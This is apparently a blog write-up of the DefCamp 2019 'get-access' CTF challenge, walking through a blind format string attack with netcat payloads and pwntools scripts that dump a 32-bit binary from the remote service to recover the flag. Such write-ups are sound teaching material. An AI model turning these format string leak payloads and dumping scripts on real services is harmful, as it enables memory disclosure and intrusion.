DefCamp Qualifiers 2019: get-access

Posted on September 8, 2019

A classic blind format string challenge where you had to dump the entire binary to get the flag.

Challenge

- **Category:** pwn
- **Points:** 105
- **Solves:** 68

> *Can you pwn this?*
>
> *Target: 206.81.24.129:1337*
>
> *Author: Andrei*

Solution

Before continuing, I highly suggest watching LiveOverflow's video of the ESPR challenge from 33c3ctf if you aren't familiar with blind format string attacks. That is basically a harder version of this challenge and uses a 64-bit binary, whereas this challenge incorporates a 32-bit binary.

To start with, right off the bat we see a format string vulnerability in the `username` field. The `password` is what shows up on the stack (unaligned) at the second half of the 5th offset and onwards.

```
vagrant@ubuntu-bionic:/ctf/pwn-and-rev/defcamp-2019/pwn/get-access$ nc 206.81.24.129 1337
You must login first before get the flag
Enter username:0x%x 0x%x 0x%x 0x%x 0x%x 0x%x 0x%x 0x%x
Enter password:AAAABBBBCCCCDDDD
0xffd9dc76 0x2a 0x8ec2008 0x0 0x4141dd14 0x42424141 0x43434242 0x44444343 does not have a
```

So we know we can control the 6th offset by padding our password input with two characters before it. What that means is if we enter the password `BBAAAA`, we should see `0x41414141` at `%6$x`.

```
vagrant@ubuntu-bionic:/ctf/pwn-and-rev/defcamp-2019/pwn/get-access$ nc 206.81.24.129 1337
You must login first before get the flag
Enter username:0x%6$x
Enter password:BBAAAA
0x41414141 does not have access!
```

I also check to make sure we actually have a 32-bit binary (the `0xffxxxxxx` address in the first offset is a dead giveaway) by also trying with `%lx` instead of just `%x`. `%lx` prints out 64-bit addresses.

```
vagrant@ubuntu-bionic:/ctf/pwn-and-rev/defcamp-2019/pwn/get-access$ nc 206.81.24.129 1337
You must login first before get the flag
Enter username:0x%lx 0x%lx 0x%lx 0x%lx
Enter password:
0xff99e676 0x2a 0x8b44008 0x0 does not have access!
```

Since it still prints out 32-bit addresses, we know the binary is 32-bit. We can know that ASLR is enabled because the address at offset one always changes each time. We also know that 32-bit libc addresses usually start with `0xff` so long as PIE is disabled.

Knowing all of this, and the fact that we have a blind format string, the one thing we know is that all 32-bit linux binaries have a base address `0x08048000`. What we can then do is start at that address and dump out the binary byte by byte. Note that this ***ONLY*** works if PIE is disabled, as otherwise the base address of the binary would be randomized as well.

What we want to do is instead of putting `0x41414141` into `%6$x`, we want to put `0x08048000` into `%6$x`, and then dump the binary by doing `%6$s` which will dereference `0x08048000`. A quick test shows that it works.

```
#!/usr/bin/env python2

from pwn import *

p = remote('206.81.24.129', 1337)

p.sendlineafter(':', '%6$s')
p.sendlineafter(':', 'AA' + p32(0x08048000))

print p.recvline()
```

```
vagrant@ubuntu-bionic:/ctf/pwn-and-rev/defcamp-2019/pwn/get-access$ ./exploit.py
[+] Opening connection to 206.81.24.129 on port 1337: Done
\x7fELF does not have access!

[*] Closed connection to 206.81.24.129 port 1337
```

It successfully prints out `\x7fELF` which are the four bytes every single Linux ELF binary starts out with.

Now we just write a script that will dump bytes from the binary out starting at the base address `0x08048000`, then move the address up by the number of bytes dumped, then rinse and repeat. However there are some issues that we have to deal with when dumping the binary this way.

- Since we are exploiting a format string vulnerability here, remember that `printf` will keep printing until it sees a NULL byte, but won't print out the NULL byte itself. This means that we must include our own NULL byte after each leak, so that when we increase the current address by the number of bytes dumped, `printf` doesn't get stuck on the NULL byte that it doesn't print out. If we don't do this, `printf` gets stuck in an infinite loop where it stays stuck on the address that contains a NULL byte forever.

- The second problem is that `fgets` or `scanf` or whatever the binary is using to take in user input will stop at newlines. What this means is that when we do `%6$s` in the username, if the format string ends up dereferencing it and finding a `\n`, then the input function will stop there even if there is more data to leak after the newline. My solution to this isn't the best, but what I did was just take the leak, and if it contains any newline characters, just change the leak to a NULL byte. It causes the binary to be slightly corrupted but remember, we aren't trying to run the binary here. We should just be able to figure out how to exploit it using the code.

The following script does the job:

```
#!/usr/bin/env python2

from pwn import *

HOST, PORT = '206.81.24.129', 1337
context.log_level = 'critical'

base = 0x08048000 # base addr of 32 bit binaries without PIE

while True:
    leak = "" # Set leak to an empty string
    with open("output.raw", "a") as f:
        p = remote(HOST, PORT)
        p.sendlineafter(':', '%6$s') # (base + len(leak)) is at offset 6, so %6$s is used
        p.sendlineafter(':', 'AA' + p32(base + len(leak))) # Padding required to place th
        leak = p.recvuntil('does')[:-5] + '\x00' # Must add NULL byte otherwise printf wi
        p.close()

        # Must also replace newlines with \x00, it will cause the binary to be slightly c
        # which doesn't matter because the flag is in the .bss segment for this binary
        if '\n' in leak:
            leak = "\x00"

        # Write to file
        f.write(leak)
        print leak.encode('hex') + " @ " + hex(base)
        base += len(leak)
```

After running this script for around 5-10 minutes (I didn't keep count), I checked the binary with `xxd` and saw this.

```
vagrant@ubuntu-bionic:/ctf/pwn-and-rev/defcamp-2019/pwn/get-access$ xxd output.raw
00000000: 7f45 4c46 0101 0100 0000 286e 756c 6c29  .ELF......(null)
00000010: 0000 0300 0100 0000 c085 0408 3400 0000  ............4...
....
....
00000a70: 0000 0000 0000 0059 6f75 206d 7573 7420  .......You must
00000a80: 6c6f 6769 6e20 6669 7273 7420 6265 666f  login first befo
00000a90: 7265 2067 6574 2074 6865 2066 6c61 6700  re get the flag.
00000aa0: 456e 7465 7220 7573 6572 6e61 6d65 3a00  Enter username:.
00000ab0: 456e 7465 7220 7061 7373 776f 7264 3a00  Enter password:.
00000ac0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000ad0: 0000 0046 6c61 6720 6973 3a20 4443 5446  ...Flag is: DCTF
00000ae0: 7b42 4438 4336 3634 4537 3445 4239 3432  {BD8C664E74EB942
00000af0: 3232 3545 4642 3734 4346 4437 3645 4334  225EFB74CFD76EC4
00000b00: 4232 4644 4130 4333 3741 3244 3536 3742  B2FDA0C37A2D567B
00000b10: 3730 3741 4131 3430 3737 3831 4646 3737  707AA1407781FF77
00000b20: 467d 0000 006f 6573 206e 6f74 2068 6176  F}...oes not hav
00000b30: 6520 6163 6365 7373 2100 0001 1b03 3b38  e access!.....;8
00000b40: 0000 0006 0000 0084 f9ff ff54 0000 007f  ...........T....
00000b50: fbff ff78 0000 0091 fbff ff98 0000 00b9  ...x............
00000b60: fbff ffb8 0000 0064 feff fff4 0000 00c4  .......d........
00000b70: feff ff40 0100 0014 0000 0000 0000 0001  ...@............
00000b80: 7a52 0001 7c08 011b 0c04 0488 0100 0020  zR..|..........
00000b90: 0000 001c 0000 0028 f9ff fff0 0000 0000  .......(........
00000ba0: 0e08 460e 0c4a 0f0b 7404 7800 3f1a 3b2a  ..F..J..t.x.?.;*
00000bb0: 3224 221c 0000 0040 0000 00ff faff ff12  2$"....@........
00000bc0: 0000 0000 410e 0885 0242 0d05 4ec5 0c04  ....A....B..N...
00000bd0: 0400 001c 0000 0060 0000 00f1 faff ff28  .......`.......(
00000be0: 00
```

Opening the output file in `vim` gives us the flag.

Flag: `DCTF{BD8C664E74EB942225EFB74CFD76EC4B2FDA0C37A2D567B707AA1407781FF77F}`

← PREVIOUS POST

NEXT POST →